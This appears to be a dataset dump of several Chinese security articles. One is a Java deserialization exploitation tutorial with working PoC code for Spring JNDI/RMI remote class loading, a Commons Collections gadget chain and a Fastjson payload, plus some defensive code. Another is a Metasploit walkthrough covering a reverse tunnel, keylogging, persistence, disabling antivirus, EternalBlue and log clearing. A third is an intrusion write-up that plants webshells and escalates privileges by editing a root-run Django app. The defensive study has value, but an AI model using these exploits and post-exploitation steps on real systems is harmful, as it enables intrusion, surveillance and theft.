text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
作者：[
**斗象科技能力中心(E_Bwill@TCC)**](https://www.vulbox.com/knowledge/detail/?id=11)
##### 1\. Java 序列化与反序列化
> Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中，ObjectOutputStream类的
> writeObject() 方法可以实现序列化。
>
> Java 反序列化是指把字节序列恢复为 Java 对象的过程，ObjectInputStream 类的 readObject() 方法用于反序列化。
序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段，可以有效的实现多平台之间的通信、对象持久化存储。主要应用在以下场景：
> HTTP：多平台之间的通信，管理等
>
> RMI：是 Java 的一组拥护开发分布式应用程序的 API，实现了不同操作系统之间程序的方法调用。值得注意的是，RMI 的传输 100%
> 基于反序列化，Java RMI 的默认端口是 1099 端口。
>
> JMX：JMX 是一套标准的代理和服务，用户可以在任何 Java 应用程序中使用这些代理和服务实现管理,中间件软件 WebLogic 的管理页面就是基于
> JMX 开发的，而 JBoss 则整个系统都基于 JMX 构架。
##### 2\. 漏洞历史
> 最为出名的大概应该是：15年的Apache Commons Collections
> 反序列化远程命令执行漏洞，其当初影响范围包括：WebSphere、JBoss、Jenkins、WebLogic 和 OpenNMSd等。
>
> 2016年Spring RMI反序列化漏洞今年比较出名的：Jackson，FastJson
Java
十分受开发者喜爱的一点是其拥有完善的第三方类库，和满足各种需求的框架；但正因为很多第三方类库引用广泛，如果其中某些组件出现安全问题，那么受影响范围将极为广泛。
##### 3\. 漏洞成因
暴露或间接暴露反序列化 API ，导致用户可以操作传入数据，攻击者可以精心构造反序列化对象并执行恶意代码
两个或多个看似安全的模块在同一运行环境下，共同产生的安全问题
##### 4\. 漏洞基本原理
实现序列化与反序列化
public class test{
public static void main(String args[])throws Exception{
//定义obj对象
String obj="hello world!";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos=new FileOutputStream("object");
ObjectOutputStream os=new ObjectOutputStream(fos);
//writeObject()方法将obj对象写入object文件
os.writeObject(obj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis=new FileInputStream("object");
ObjectInputStream ois=new ObjectInputStream(fis);
//恢复对象
String obj2=(String)ois.readObject();
System.out.print(obj2);
ois.close();
}
}
上面代码将 String 对象 obj1 序列化后写入文件 object 文件中，后又从该文件反序列化得到该对象。我们来看一下 object 文件中的内容：
这里需要注意的是，`ac ed 00 05`是 java 序列化内容的特征，如果经过 base64 编码，那么相对应的是`rO0AB`：
我们再看一段代码：
public class test{
public static void main(String args[]) throws Exception{
//定义myObj对象
MyObject myObj = new MyObject();
myObj.name = "hi";
//创建一个包含对象进行反序列化信息的”object”数据文件
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(myObj);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
MyObject objectFromDisk = (MyObject)ois.readObject();
System.out.println(objectFromDisk.name);
ois.close();
}
}
class MyObject implements Serializable{
public String name;
//重写readObject()方法
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{
//执行默认的readObject()方法
in.defaultReadObject();
//执行打开计算器程序命令
Runtime.getRuntime().exec("open /Applications/Calculator.app/");
}
}
这次我们自己写了一个 class 来进行对象的序列与反序列化。我们看到，MyObject 类有一个公有属性 name ，myObj 实例化后将
myObj.name 赋值为了 “hi” ，然后序列化写入文件 object：
然后读取 object 反序列化时：
我们注意到 MyObject 类实现了`Serializable`接口，并且重写了`readObject()`函数。这里需要注意：
**只有实现了Serializable接口的类的对象才可以被序列化** ，Serializable 接口是启用其序列化功能的接口，实现
java.io.Serializable 接口的类才是可序列化的，没有实现此接口的类将不能使它们的任一状态被序列化或逆序列化。这里的
readObject() 执行了`Runtime.getRuntime().exec("open
/Applications/Calculator.app/")`，而 readObject()
方法的作用正是从一个源输入流中读取字节序列，再把它们反序列化为一个对象，并将其返回，readObject() 是可以重写的，可以定制反序列化的一些行为。
##### 5\. 安全隐患
看完上一章节你可能会说不会有人这么写 readObject() ，当然不会，但是实际也不会太差。
我们看一下 2016 年的 Spring 框架的反序列化漏洞，该漏洞是利用了 RMI 以及 JNDI：
> RMI(Remote Method Invocation) 即 Java 远程方法调用，一种用于实现远程过程调用的应用程序编程接口，常见的两种接口实现为
> JRMP(Java Remote Message Protocol ，Java 远程消息交换协议)以及 CORBA。
>
> JNDI (Java Naming and Directory Interface) 是一个应用程序设计的
> API，为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。JNDI 支持的服务主要有以下几种：DNS、LDAP、 CORBA
> 对象服务、RMI 等。
简单的来说就是RMI注册的服务可以让 JNDI 应用程序来访问，调用。
Spring 框架中的远程代码执行的缺陷在于spring-tx-xxx.jar中的org.springframework.transaction.jta.JtaTransactionManager类，该类实现了 Java
Transaction API，主要功能是处理分布式的事务管理。
这里我们来分析一下该漏洞的原理，为了复现该漏洞，我们模拟搭建 Server 和 Client 服务；Server
主要功能是主要功能就是监听某个端口，读取送达该端口的序列化后的对象，然后反序列化还原得到该对象；Client 负责发送序列化后的对象。运行环境需要在
Spring 框架下。
（PoC来自 **[zerothoughts](http://github.com/zerothoughts/spring-jndi)** ）
我们首先来看 server 代码：
public class ExploitableServer {
public static void main(String[] args) {
{
//创建socket
ServerSocket serverSocket = new ServerSocket(Integer.parseInt("9999"));
System.out.println("Server started on port "+serverSocket.getLocalPort());
while(true) {
//等待链接
Socket socket=serverSocket.accept();
System.out.println("Connection received from "+socket.getInetAddress());
ObjectInputStream objectInputStream = new ObjectInputStream(socket.getInputStream());
try {
//读取对象
Object object = objectInputStream.readObject();
System.out.println("Read object "+object);
} catch(Exception e) {
System.out.println("Exception caught while reading object");
e.printStackTrace();
}
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
client:
public class ExploitClient {
public static void main(String[] args) {
try {
String serverAddress = args[0];
int port = Integer.parseInt(args[1]);
String localAddress= args[2];
//启动web server，提供远程下载要调用类的接口
System.out.println("Starting HTTP server");
HttpServer httpServer = HttpServer.create(new InetSocketAddress(8088), 0);
httpServer.createContext("/",new HttpFileHandler());
httpServer.setExecutor(null);
httpServer.start();
//下载恶意类的地址 http://127.0.0.1:8088/ExportObject.class
System.out.println("Creating RMI Registry");
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new javax.naming.Reference("ExportObject","ExportObject","http://"+serverAddress+"/");
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
System.out.println("Connecting to server "+serverAddress+":"+port);
Socket socket=new Socket(serverAddress,port);
System.out.println("Connected to server");
//jndi的调用地址
String jndiAddress = "rmi://"+localAddress+":1099/Object";
org.springframework.transaction.jta.JtaTransactionManager object = new org.springframework.transaction.jta.JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
//发送payload
System.out.println("Sending object to server...");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
objectOutputStream.writeObject(object);
objectOutputStream.flush();
while(true) {
Thread.sleep(1000);
}
} catch(Exception e) {
e.printStackTrace();
}
}
}
最后是 ExportObject ，包含测试用执行的命令：
public class ExportObject {
public static String exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
return sb;
}
public ExportObject() throws Exception {
String cmd="open /Applications/Calculator.app/";
throw new Exception(exec(cmd));
}
}
先开启 server，再运行 client 后：
我们简单的看一下流程。
这里向 Server 发送的 Payload 是：
// jndi的调用地址
String jndiAddress = "rmi://127.0.0.1:1999/Object";
// 实例化JtaTransactionManager对象，并且初始化UserTransactionName成员变量
JtaTransactionManager object = new JtaTransactionManager();
object.setUserTransactionName(jndiAddress);
上文已经说了，JtaTransactionManager 类存在问题，最终导致了漏洞的实现，这里向 Server 发送的序列化后的对象就是
JtaTransactionManager 的对象。JtaTransactionManager 实现了 Java Transaction API，即
JTA，JTA 允许应用程序执行分布式事务处理——在两个或多个网络计算机资源上访问并且更新数据。
上文已经介绍过了，反序列化时会调用被序列化类的 readObject() 方法，readObject() 可以重写而实现一些其他的功能，我们看一下
JtaTransactionManager 类的 readObject() 方法：
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// Rely on default serialization; just initialize state after deserialization.
ois.defaultReadObject();
// Create template for client-side JNDI lookup.
this.jndiTemplate = new JndiTemplate();
// Perform a fresh lookup for JTA handles.
initUserTransactionAndTransactionManager();
initTransactionSynchronizationRegistry();
}
方法 initUserTransactionAndTransactionManager() 是用来初始化 UserTransaction 以及
TransactionManager，在该方法中，我们可以看到：
lookupUserTransaction() 方法会调用 JndiTemplate 的 lookup() 方法：
可以看到 lookup() 方法作用是： **Look up the object with the given name in the current
JNDI context.** 而就是使用 JtaTransactionManager 类的 userTransactionName
属性，因此我们可以看到上文中我们序列化的 JtaTransactionManager 对象使用了 setUserTransactionName()
方法将jndiAddress 即 "rmi://127.0.0.1:1999/Object" ; 赋给了 userTransactionName。
至此，该漏洞的核心也明了了：
我们来看一下上文中 userTransactionName 指向的 “rmi://127.0.0.1:1999/Object” 是如何实现将恶意类返回给
Server 的：
// 注册端口1999
Registry registry = LocateRegistry.createRegistry(1999);
// 设置code url 这里即为http://http://127.0.0.1:8000/
// 最终下载恶意类的地址为http://127.0.0.1:8000/ExportObject.class
Reference reference = new Reference("ExportObject", "ExportObject", "http://127.0.0.1:8000/");
// Reference包装类
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Object", referenceWrapper);
这里的 **Reference reference = new Reference("ExportObject", "ExportObject",
"http://127.0.0.1:8000/");**
可以看到，最终会返回的类的是http://127.0.0.1:8000/ExportObject.class
，即上文中贴出的ExportObject，该类中的构造函数包含执行 “open /Applications/Calculator.app/” 代码。发送
Payload：
//制定Server的IP和端口
Socket socket = new Socket("127.0.0.1", 9999);
ObjectOutputStream objectOutputStream = new ObjectOutputStream(socket.getOutputStream());
//发送object
objectOutputStream.writeObject(object);
objectOutputStream.flush();
socket.close();
**小结**
利用了 JtaTransactionManager 类中可以被控制的 readObject() 方法，从而构造恶意的被序列化类，其中利用
readObject() 会触发远程恶意类中的构造函数这一点，达到目的。
##### 6\. JAVA Apache-CommonsCollections 序列化RCE漏洞分析
Apache Commons Collections 序列化 RCE 漏洞问题主要出现在
org.apache.commons.collections.Transformer 接口上；在 Apache Commons Collections
中有一个 InvokerTransformer 类实现了 Transformer，主要作用是调用 Java
的反射机制(反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性，详细内容请参考：http://ifeve.com/java-reflection/) 来调用任意函数，只需要传入方法名、参数类型和参数，即可调用任意函数。TransformedMap
配合sun.reflect.annotation.AnnotationInvocationHandler 中的
readObject()，可以触发漏洞。我们先来看一下大概的逻辑：
我们先来看一下Poc：
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
public class test3 {
public static Object Reverse_Payload() throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "open /Applications/Calculator.app" }) };
Transformer transformerChain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("value", "value");
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
//通过反射获得AnnotationInvocationHandler类对象
Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//通过反射获得cls的构造函数
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
//这里需要设置Accessible为true，否则序列化失败
ctor.setAccessible(true);
//通过newInstance()方法实例化对象
Object instance = ctor.newInstance(Retention.class, outmap);
return instance;
}
public static void main(String[] args) throws Exception {
GeneratePayload(Reverse_Payload(),"obj");
payloadTest("obj");
}
public static void GeneratePayload(Object instance, String file)
throws Exception {
//将构造好的payload序列化后写入文件中
File f = new File(file);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
public static void payloadTest(String file) throws Exception {
//读取写入的payload，并进行反序列化
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
in.readObject();
in.close();
}
}
我们先来看一下 Transformer 接口，该接口仅定义了一个方法 transform(Object input)：
我们可以看到该方法的作用是：给定一个 Object 对象经过转换后也返回一个 Object，该 PoC
中利用的是三个实现类：`ChainedTransformer`，`ConstantTransformer`，`InvokerTransformer`
首先看 InvokerTransformer 类中的 transform() 方法：
可以看到该方法中采用了反射的方法进行函数调用，Input 参数为要进行反射的对象 iMethodName , iParamTypes
为调用的方法名称以及该方法的参数类型，iArgs 为对应方法的参数，这三个参数均为可控参数：
接下来我们看一下 ConstantTransformer 类的 transform() 方法：
该方法很简单，就是返回 iConstant 属性，该属性也为可控参数：
最后一个ChainedTransformer类很关键，我们先看一下它的构造函数：
我们可以看出它传入的是一个 Transformer 数组，接下来看一下它的 transform() 方法：
这里使用了 for 循环来调用 Transformer 数组的 transform() 方法，并且使用了 object 作为后一个调用transform()
方法的参数，结合 PoC 来看：
我们构造了一个 Transformer 数组 transformers ，第一个参数是 “new
ConstantTransformer(Runtime.class)” ，后续均为 InvokerTransformer 对象，最后用该
Transformer 数组实例化了 transformerChain 对象，如果该对象触发了 transform() 函数,那么 transformers
将在内一次展开触发各自的 transform() 方法，由于 InvokerTransformer 类的特性，可以通过反射触发漏洞。下图是触发后 debug
截图：
iTransformers[0] 是 ConstantTransformer 对象，返回的就是 Runtime.class 类对象，再此处 object
也就被赋值为 Runtime.class 类对象，传入 iTransformers[2].transform() 方法：
然后依次类推：
最后：
这里就会执行 “open /Applications/Calculator.app” 命令。
但是我们无法直接利用此问题，但假设存在漏洞的服务器存在反序列化接口，我们可以通过反序列化来达到目的。
可以看出，关键是需要构造包含命令的 ChainedTransformer 对象，然后需要触发 ChainedTransformer 对象的
transform() 方法，即可实现目的。在 TransformedMap 中的 checkSetValue() 方法中，我们发现：
该方法会触发 transform() 方法，那么我们的思路就比较清晰了，我们可以首先构造一个 Map 和一个能够执行代码的
ChainedTransformer ，以此生成一个 TransformedMap ，然后想办法去触发 Map 中的 MapEntry 产生修改（例如
setValue() 函数），即可触发我们构造的 Transformer ，因此也就有了 PoC 中的一下代码：
这里的 outmap 是已经构造好的 TransformedMap ，现在我们的目的是需要能让服务器端反序列化某对象时，触发 outmap 的
checkSetValue() 函数。
这时类 AnnotationInvocationHandler 登场了，这个类有一个成员变量 memberValues 是 Map 类型，如下所示：
AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数，如下所示：
因为 setValue() 函数最终会触发 checkSetValue() 函数：
因此我们只需要使用前面构造的 outmap 来构造 AnnotationInvocationHandler ，进行序列化，当触发 readObject()
反序列化的时候，就能实现命令执行：
接下来就只需要序列化该对象：
当反序列化该对象，触发 readObject() 方法，就会导致命令执行：
Server 端接收到恶意请求后的处理流程：
所以这里 POC 执行流程为
TransformedMap->AnnotationInvocationHandler.readObject()->setValue()->checkSetValue()
漏洞成功触发。如图：
该漏洞当时影响广泛，在当时可以直接攻击最新版 WebLogic 、 WebSphere 、 JBoss 、 Jenkins 、OpenNMS 这些大名鼎鼎的
Java 应用。
##### 7\. Fastjson 反序列化漏洞
该漏洞刚发出公告时笔者研究发现 Fastjson 可以通过 JSON.parseObject 来实例化任何带有 setter
方法的类，当也止步于此，因为笔者当时认为利用条件过于苛刻。不过后来网上有人披露了部分细节。利用`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`类和
Fastjson 的 `smartMatch()` 方法，从而实现了代码执行。
public class Poc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "/target/classes/person/Test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b',\"_outputProperties\":{ }," +
"\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}
public static void main(String args[]){
try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}
详细分析请移步：http://blog.nsfocus.net/fastjson-remote-deserialization-program-validation-analysis/
这里的利用方式和 Jackson 的反序列化漏洞非常相似：http://blog.nsfocus.net/jackson-framework-java-vulnerability-analysis/
由此可见，两个看似安全的组件如果在同一系统中，也能会带来一定安全问题。
##### 8\. 其他 Java 反序列化漏洞
根据上面的三个漏洞的简要分析，我们不难发现，Java
反序列化漏洞产生的原因大多数是因为反序列化时没有进行校验，或者有些校验使用黑名单方式又被绕过，最终使得包含恶意代码的序列化对象在服务器端被反序列化执行。核心问题都不是反序列化，但都是因为反序列化导致了恶意代码被执行。
这里总结了一些近两年的 Java 反序列化漏洞：http://seclists.org/oss-sec/2017/q2/307?utm_source=dlvr.it&utm_medium=twitter
##### 9\. 总结
**如何发现 Java 反序列化漏洞**
1. 从流量中发现序列化的痕迹，关键字：`ac ed 00 05`，`rO0AB`
2. Java RMI 的传输 100% 基于反序列化，Java RMI 的默认端口是`1099`端口
3. 从源码入手，可以被序列化的类一定实现了`Serializable`接口
4. 观察反序列化时的`readObject()`方法是否重写，重写中是否有设计不合理，可以被利用之处
从可控数据的反序列化或间接的反序列化接口入手，再在此基础上尝试构造序列化的对象。
ysoserial 是一款非常好用的 Java 反序列化漏洞检测工具，该工具通过多种机制构造 PoC
，并灵活的运用了反射机制和动态代理机制，值得学习和研究。
**如何防范**
有部分人使用反序列化时认为:
FileInputStream fis=new FileInputStream("object");
ObjectInputStream ois=new ObjectInputStream(fis);
String obj2=(String)ois.readObject();
可以通过类似 "(String)" 这种方式来确保得到自己反序列化的对象，并可以保护自己不会受到反序列化漏洞的危害。然而这明显是一个很基础的错误，在通过
"(String)" 类似方法进行强制转换之前， readObject() 函数已经运行完毕，该发生的已经发生了。
以下是两种比较常用的防范反序列化安全问题的方法：
**1\. 类白名单校验**
在 ObjectInputStream 中 resolveClass 里只是进行了 class 是否能被 load ，自定义
ObjectInputStream , 重载 resolveClass 的方法，对 className 进行白名单校验
public final class test extends ObjectInputStream{
...
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException{
if(!desc.getName().equals("className")){
throw new ClassNotFoundException(desc.getName()+" forbidden!");
}
returnsuper.resolveClass(desc);
}
...
}
**2\. 禁止 JVM 执行外部命令 Runtime.exec**
通过扩展 SecurityManager 可以实现:
（By hengyunabc）
SecurityManager originalSecurityManager = System.getSecurityManager();
if (originalSecurityManager == null) {
// 创建自己的SecurityManager
SecurityManager sm = new SecurityManager() {
private void check(Permission perm) {
// 禁止exec
if (perm instanceof java.io.FilePermission) {
String actions = perm.getActions();
if (actions != null && actions.contains("execute")) {
throw new SecurityException("execute denied!");
}
}
// 禁止设置新的SecurityManager，保护自己
if (perm instanceof java.lang.RuntimePermission) {
String name = perm.getName();
if (name != null && name.contains("setSecurityManager")) {
throw new SecurityException("System.setSecurityManager denied!");
}
}
}
@Override
public void checkPermission(Permission perm) {
check(perm);
}
@Override
public void checkPermission(Permission perm, Object context) {
check(perm);
}
};
System.setSecurityManager(sm);
}
Java 反序列化大多存在复杂系统间相互调用，控制，或较为底层的服务应用间交互等应用场景上，因此接口本身可能就存在一定的安全隐患。Java
反序列化本身没有错，而是面对不安全的数据时，缺乏相应的防范，导致了一些安全问题。并且不容忽视的是，也许某些 Java 服务没有直接使用存在漏洞的 Java
库，但只要 Lib 中存在存在漏洞的 Java 库，依然可能会受到威胁。
随着 Json 数据交换格式的普及，直接应用在服务端的反序列化接口也随之减少，但今年陆续爆出的 Jackson 和 Fastjson 两大 Json
处理库的反序列化漏洞，也暴露出了一些问题。所以无论是 Java 开发者还是安全相关人员，对于 Java
反序列化的安全问题应该具备一定的防范意识，并着重注意传入数据的校验，服务器权限和相关日志的检查， API 权限控制，通过 HTTPS 加密传输数据等方面。
**参考**
1.[《What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application
Have in Common? This
Vulnerability》](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)By @breenmachine
2.[《Spring framework deserialization
RCE漏洞分析以及利用》](https://www.iswin.org/2016/01/24/Spring-framework-deserialization-RCE-%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%E5%88%A9%E7%94%A8/)By
iswin
3.[《JAVA Apache-CommonsCollections
序列化漏洞分析以及漏洞高级利用》](https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/) By iswin
4.[《Lib之过？Java反序列化漏洞通用利用分析》](https://blog.chaitin.cn/2015-11-11_java_unserialize_rce/)By
长亭科技
5.[《禁止JVM执行外部命令Runtime.exec》](http://blog.csdn.net/hengyunabc/article/details/49804577)By
hengyunabc
附本文[PDF下载地址](https://pan.baidu.com/s/1i50y7q9)
* * * | 社区文章 |
# Metasploit
## 0x00. Metasploit Framework简介
###
Metasploit是目前最流行、最强大、最具扩展性的渗透测试平台软件，是笔者最崇拜也最喜欢的工具没有之一，下面我将用msf给大家带来一场盛大的内网渗透体验，别眨眼噢！
* * *
## 0x01. 实战操作
## 环境准备：
### 1\. 靶机win 7 IP=192.168.43.150
### 2\. kali linux IP=192.168.43.153
### 3\. VPS服务器 IP=xx.xx.xx.xx
## 实战演示：
### 1\. 先用evil-evasion生成具有一定免杀功能的windows木马，监听地址设成VPS的地址（打码防D），然后将VPS上的2333端口映射到内网kali的2333端口，同时还要修改VPS上的ssh配置，不然别人是连不上VPS的（在实战中自己常常在内网，所以这里介绍一下VPS）
> vi /etc/ssh/sshd_config && GatewayPorts:yes
>
> ssh -CfNg -R xx.xx.xx.xx:2333:192.168.43.153:2333 [email protected] -p 29402
### 2\.
启动kali设置msf监听，lport=2333，lhost=192.168.43.153(注意：这里的监听地址是kali的地址，不是VPS的），关于msf的基本操作网上有很多，这里不过多介绍，大家可以参考这个[系列文章](http://www.freebuf.com/sectool/67674.html)
> [*]如果想要在docker启动持续监听可以用如下命令
>
> set exitonsession false && run -j
### 3\. 在win 7 中执行木马
### 4\. 接收到meterpreter之后就应该将自己的进程迁移到一个隐蔽的进程中去，防止被查杀，这里笔者迁移到win 7的桌面进程
> migrate 1988 && getpid
### 5\. 查看当前权限、系统信息，并尝试提权
> getuid && sysinfo && getsystem
### 6\. 查看网络、路由信息
> ifconfig && route
### 7\. 监视靶机的桌面
> run vnc
### 8\. 启动键盘监听
> keyscan_start && keyscan_dump
### 9\. 设置后门，维持权限
> run persistence -U -i 10 -p 2333 192.168.43.153
>
> run persistence -X -i 10 -p 2333 192.168.43.153
### 10\. 截屏查看靶机当前桌面
> screenshot
### 11\. 查看当前系统空闲时间
> idletime
### 12\. 禁用靶机使用键盘鼠标（笔者win 7系统是64位的，不支持这个操作）
> uictl disable keyboard
>
> uictl disable mouse
### 13\. 查找靶机中重要的敏感文件
> search -d c:\\\ -f payload.exe
### 14\. 指定下载靶机中的文件到本地
> dowmload c:\\\Users\\\root\\\Desktop\\\payload.exe /root/Desktop
### 15\. 上传指定本地文件到靶机中
> upload /root/Desktop/hack.jpeg c:\\\Users\\\root\\\Desktop\\\payload.exe
### 16\. 打开靶机摄像头，win 7虚拟机没有摄像头所以没反应
> webcam_snap
* * *
# 0x02. 后渗透测试
### 1\. 调用post模块查看当前系统可用的提权模块
> run post/multi/recon/local_exploit_suggester
### 2\. 调用payload模块对靶机进行远程桌面操作
> set payload windows/vncinject/reverse_tcp
>
> set viewonly no
### 3\. 关掉靶机中的杀软
> killav
### 4\. 收集靶机浏览器的敏感信息(访问记录、cookie)
> run post/windows/gather/enum_ie
### 5\. 设置路由转发，扫描内网机器开放的端口(route add 靶机IP 子网掩码 sessions)
> route add 92.168.43.150 255.255.255.0 3
>
> use auxiliary/scanner/portscan/tcp
### 6\. 扫描一波内网有没有ms17_010漏洞的主机
> use auxiliary/scanner/smb/smb_ms17_010
### 7\. 笔者扫到win 7就有这个漏洞，然后就愉快的调用exp搞一波
> use exploit/windows/smb/ms17_010_eternalblue
### 8\. 功成身退
> clearev
>
> * * *
>
> ## 0x03. 结语
>
> ### msf是真的强大，笔者总结的这些也只算是九牛一毛，大家在平时使用时多总结一定能玩出花儿来！ | 社区文章 |
# 从hw打点到编写python版webshell提权
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
摸到一个某信息管理平台
开局一个登录框，那么尝试sql注入和弱口令爆破，从返回包中可以看出存在用户名枚举
尝试注入测试发现后端存在检测，试了几十个常见的测试手机号还无法枚举到用户名后，遂放弃此路
通过报错页面的信息，和url格式，我当时判断的是这是一个 java mvc模型的站点，也给后面埋了个坑
于是开始翻看静态资源，熟悉的文件名格式，确认过眼神，这是vue的资源
根据以往的经验，VUE项目的关键代码存在于生成的以app开头的js文件中，所以通常遇到vue项目的目标，只需翻看其app开头的js文件，即可通过其内容大致了解到它的功能点。
于是打开那个app开头的js文件，我个人是非常喜欢将js代码粘贴到Pycharm里面，然后按 Ctrl + Alt + L
来格式化代码，再慢慢的审阅寻找线索。
经过仔细的查看js代码，发现一处疑似后台主页的跳转url
直接粘贴至浏览器打开，进到了一个后台页面
在熟悉它里面的功能点时，发现这只是一个框架页面，跟后端交互获取数据时仍需要验证用户身份
于是我灵机一动，猜测
url的company_id提交的可能就是用户凭证，所以直接在Pycharm使用字符串查找功能查找，没想到真的找到了一串md5值，看起来像是凭证，大喜之后将其补上到url后再访问
获得了一个用户身份的后台（看右边的成员和部门那里已经与前面不同）
但继续摸功能点后，发现只是个测试用户的身份
找到一处上传点，但是上传过去发现没有数据包响应
于是查看浏览器控制台信息，发现是被同源策略给限制了，那么这里通过功能点直接上传是行不通的，除非你通过他的域名访问，我这里反查了ip查不到对应的域名
这个时候可以手动构造文件上传表单， 然后浏览器打开上传
发包过去之后，是我天真了
报了一个404回来，开始怀疑人生当中，不过后面想了想，我刚才访问的是82端口，提交上传的接口是8082端口，难不成这里面有问题？本着死磕到底的精神，我颤抖的手敲了敲键盘，在burp的重放功能那将8082端口改为了82端口，再尝试发包
回包果真不一样了，貌似是被后端接受了，但是却没有返回上传成功的文件路径，我怀疑是没有上传成功
于是掏出了我的大*，不对，是我的祖传字典，用于测试上传文件对象的键名
我晕，原来上传的文件对象键名就是 file
将文件字典键名改为file, 文件名改为 .jsp后缀再上传，成功上传了
于是赶紧上传个冰蝎的webshell,发现被拦了，难不成存在waf ？
那么先上传个打印字符串的短小代码，发现上传成功了也顺利访问了可是却不解析？？？
我尼玛直接怀疑人生，这不是tomcat应用服务器吗，怎么可能不解析jsp
后面在测试其他文件名时，
发现解析php，这就离谱，tomcat + php还有这种搭配？麻烦搞懂的朋友告诉我
蚁剑链接之，发现是 apache权限，内核3.10
其实这个时候通常都是上代理打内网的了，不过后面遇到了更诡异的事，我上传了frp 客户端做代理时，发现连接到服务端后几十秒就断了，再查看文件时，权限已经变成了
000
看来是应该有某种防护软件？这是块硬骨头啊
然后开始打算提权，一般提权通用性比较高的就是内核提权，但是不太建议这种提权方式，因为溢出类的内核提权都有一定的偶然性，容易把服务器打宕机
查看了下进程，很惊喜的发现python 以root权限运行了一个程序，有着django开发经验的我一眼就看出了这就是django,
然后访问其8000端口，是一个 swagger 接口页面。
这时随便访问个不存在的路由
通过报错信息得知这真的是django，并且开起了debug功能，开启后修改源代码会自动重启应用
心中大喜直接奔去寻找这个django项目的目录，很巧的是项目目录里的所有文件都具有777的权限，所以能改写视图函数，我添加了红框中的代码，大致意思就是当访问
test/ 路由时，返回字符串 “Hello Django”
再去浏览器访问 test 路由，成功执行了我自定义的视图函数
于是这时候 python 版的webshell就出来了
去查看执行效果，ok提权成功
当我开始漫游时，问题又出现了，应该是流量特征太明显被 waf 拦了
然后我又把视图函数改了下，添加base64编码传输
完美
随便几行代码写了个方便点的利用工具
本次外网打点到此结束，如有打码不严请勿复现 | 社区文章 |
# Chakra漏洞调试笔记3——MissingValue
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x0 Array
Javascript中Array是一种特殊的Object。Chakra中的Array继承自DynamicObject，Chakra中有三种Array：
（1）JavascriptNativeIntArray：用来存放4字节的整型元素，如let intarr = [0x1111, 0x2222,
0x3333, 0x4444];
